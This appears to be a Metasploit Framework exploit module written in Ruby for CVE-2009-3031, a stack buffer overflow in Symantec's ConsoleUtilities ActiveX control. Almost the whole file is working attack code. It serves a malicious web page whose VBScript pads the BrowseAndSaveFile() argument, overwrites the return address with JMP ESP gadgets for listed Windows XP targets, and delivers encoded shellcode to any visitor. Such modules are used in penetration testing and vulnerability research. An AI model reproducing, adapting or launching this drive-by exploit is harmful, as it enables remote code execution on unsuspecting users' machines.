Symantec ConsoleUtilities ActiveX Control Buffer Overflow



##

# $Id: symantec_consoleutilities_browseandsavefile.rb 10998 2010-11-11 22:43:22Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking

    include Msf::Exploit::Remote::HttpServer::HTML

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Symantec ConsoleUtilities ActiveX Control Buffer Overflow',
            'Description'    => %q{
                    This module exploits a stack buffer overflow in Symantecs ConsoleUtilities.
                By sending an overly long string to the "BrowseAndSaveFile()" method located
                in the AeXNSConsoleUtilities.dll (6.0.0.1846) Control, an attacker may be able to
                execute arbitrary code
            },
            'License'        => MSF_LICENSE,
            'Author'         => [ 'Nikolas Sotiriu (lofi)' ],
            'Version'        => '$Revision: 10998 $',
            'References'     =>
                [
                    [ 'CVE', '2009-3031'],
                    [ 'OSVDB', '59597'],
                    [ 'BID', '36698'],
                    [ 'URL', 'http://sotiriu.de/adv/NSOADV-2009-001.txt' ],
                    [ 'URL', 'http://www.symantec.com/business/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2009&suid=20091102_00' ],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                },
            'Payload'        =>
                {
                    'Space'         => 1000,
                    'BadChars'      => "\x00",
                    'StackAdjustment' => -3500,
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ 'Windows XP SP3 English',         { 'Ret' => 0x7e47bcaf } ],
                    [ 'Windows XP SP2 Universal',        { 'Ret' => 0x77d92acc } ], # USER32.dll JMP ESP
                    [ 'Windows XP SP2 Pro German',      { 'Ret' => 0x77D5AF0A } ], # SHELL32.dll JMP ESP
                    [ 'Windows XP SP3 Pro German',      { 'Ret' => 0x7E6830D7 } ], # SHELL32.dll JMP ESP
                ],
            'DisclosureDate' => 'Nov 02 2009',
            'DefaultTarget'  => 0))
    end

    def autofilter
        false
    end

    def check_dependencies
        use_zlib
    end

    def on_request_uri(cli, request)
        # Re-generate the payload
        return if ((p = regenerate_payload(cli)) == nil)

        # Randomize variables
        vname   = rand_text_alpha(rand(20) + 1)
        junk    = rand_text_alpha(rand(20) + 1)
        eip     = rand_text_alpha(rand(20) + 1)
        morejunk = rand_text_alpha(rand(20) + 1)
        sc      = rand_text_alpha(rand(20) + 1)
        buf = rand_text_alpha(rand(20) + 1)

        # Set RET and shellcode
        ret = Rex::Text.to_unescape([target.ret].pack('V'))
        shellcode = Rex::Text.to_unescape(p.encoded)

        # Build the Site
        content = %Q|
    <html>
        <object classid='clsid:B44D252D-98FC-4D5C-948C-BE868392A004' id='#{vname}'></object>
        <script language='vbscript'>

        #{junk}=String(310,"A")
        #{eip}=unescape("#{ret}")
        #{morejunk}=String(18, unescape("%u0041"))
        #{sc}=unescape("#{shellcode}")

        #{buf}=#{junk}+#{eip}+#{morejunk}+#{sc}
        #{vname}.BrowseAndSaveFile "",#{buf},"","",""
        </script>
    </html>
        |

        print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

        # Transmit the response to the client
        send_response_html(cli, content)

        # Handle the payload
        handler(cli)
    end

end